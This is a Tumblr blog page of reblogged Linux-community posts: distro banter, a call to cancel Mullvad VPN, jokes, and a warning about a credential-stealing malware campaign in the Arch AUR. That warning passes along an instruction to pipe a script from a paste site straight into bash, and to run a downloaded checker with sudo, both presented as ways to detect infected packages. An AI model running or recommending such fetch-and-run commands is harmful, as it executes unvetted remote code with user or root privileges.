NetworkManager @networkmanager-official - Tumblr Blog

time to reinstall linux on my laptop. taking propaganda recommendations. usually go for arch(or debian for server stuff) and not sure i can get lighter on resources cause this laptops favourite hobby is catching fire

networkmanager-official

@gentoo-official

3liza

cancel your mullvad subscription

tech news today is that Mullvad VPN has gone mask-off about being the major funding source for the Swedish Orebro party, who are racist nationalists. unfortunately all discussion of this is occurring on fucking Mastodon instances i can barely load

if you are a mullvad customer (as i am) and want to get out, here is guidance from this guy

If you don't want your Mullvad fees going to fund neo-Nazis - or @mozilla VPN fees, which is rebranded Mullvad - cancel and get a refund immediately that's whose "free speech" the official account is talking about here, and that's where your fees go to EDIT: Mullvad has a 14 day refund policy. But the message below is a direct call to ask for a refund if you don't want to give money to Nazis. If Mullvad refuse a refund, call your consumer protection agency. And reverse credit card charges on the basis of deceptive refund policy representations. It's not like you ever want to be a Mullvad customer again. archive copy of Mullvad statement: https://web.archive.org/web/2026062717

proxmox-official

AUR has been hit with malware

Per the CachyOS subreddit:

"As the title states, the Arch AUR has been hit by a huge malware infection campaign over the last couple of days. There's an earlier post referring to alvr. That's not the only package it's hundreds of them, many of them Aur packages average people would install like apple-music-desktop.

I don't have the full details of the scope of the malware campaign. I know it's a credential stealer so it steals ssh keys and browser login info and apparently has rootkit potential.

This was widespread and targeted orphaned packages. Aur for some reason allows other people to take over existing projects.

The bottom line is if you used the aur over the last couple of days you may have been infected and the problem with taking over orphaned packages I believe remains. I personally would not use the Aur for the foreseeable future, and ideally not at all. It's a security risk."

There is a script that you can run on your machine to detect if you have a package that is known to have been infected which you can view here. I have also linked the subreddit post here.

Just download it, make it executable and run the script with sudo and let it run, it will tell you what it found once it's complete.

Pls reblog to signal boost!!

proxmox-official

Per the thread again: As I was interested in more in-depth information some can be found here, as well as a preliminary analysis of the malware:

https://www.sonatype.com/blog/atomic-arch-npm-campaign-adds-malicious-dependency

https://ioctl.fail/preliminary-analysis-of-aur-malware/

Users can also run the following to check for malicious packages:

curl -s https://cscs.pastes.sh/raw/aurvulntest20260611.sh | bash

arch-official

Alright I keep seeing this so I want to remind people: the term "ricing" and "a rice" are racist terms referring to cheap Asian cars that is borrowed from car modding.

Please stop using it to refer to your desktop mods. There are a million other ways to refer to your desktop mods/themes/whatever but please stop using racist car modding terms

m4gethecat

oh my god more queer and trans people need to include pronouns in their BIOS. i dont want to scroll down to your pinned to not misgender you in a reblog

rockergiirl

turning someone off and on again and holding F10 + F11 + F12 + Home + Delete just to check someone's pronouns

queer-as-city-folk

I've started twitter posting, it's just a mix of politics, chitchat with irls, and 70s RPF

networkmanager-official

what does the raspberry pi foundarion have to do with it

why do people keep talking about raspberry pi foundation? what does RPF have to do with anything on tumblr?

charl0ttan

charlotte my tummy hurts how do i fix this :<

SWITCH TO LINUX

rocky-linux-official

Back at it again, the dirty series is BACK baby. No patches, remediation only via modprobe changes

ubuntu-official

You're in her DMs while I'm SSHing into her pc.

ubuntu-official

Not funny.

thinkpad-offical

yes funny

ubuntu-official

Let's agree to disagree, twinkpad.

thinkpad-offical

Alright, let’s agree to disagree, subuntu.

the-yoshir

If you are on Linux you are better update your kernel RIGHT NOW.

yiffos-official

my malware can have a little privilege escalation, as a treat.

mint-offical

Most distros are vulnerable without patches.

https://forums.linuxmint.com/viewtopic.php?t=468151

Just going off this link that pretends it isn't real. The exploit has been around since 2017 and started in 2011. So, although people know it now and can use it if they have already compromised your machine, you aren't necessarily more unsafe than before we knew about it. Just exercise care as usual. Looks like for most people there won't be much to worry about, so don't panic. You may already be patched:

https://forums.linuxmint.com/viewtopic.php?p=2780569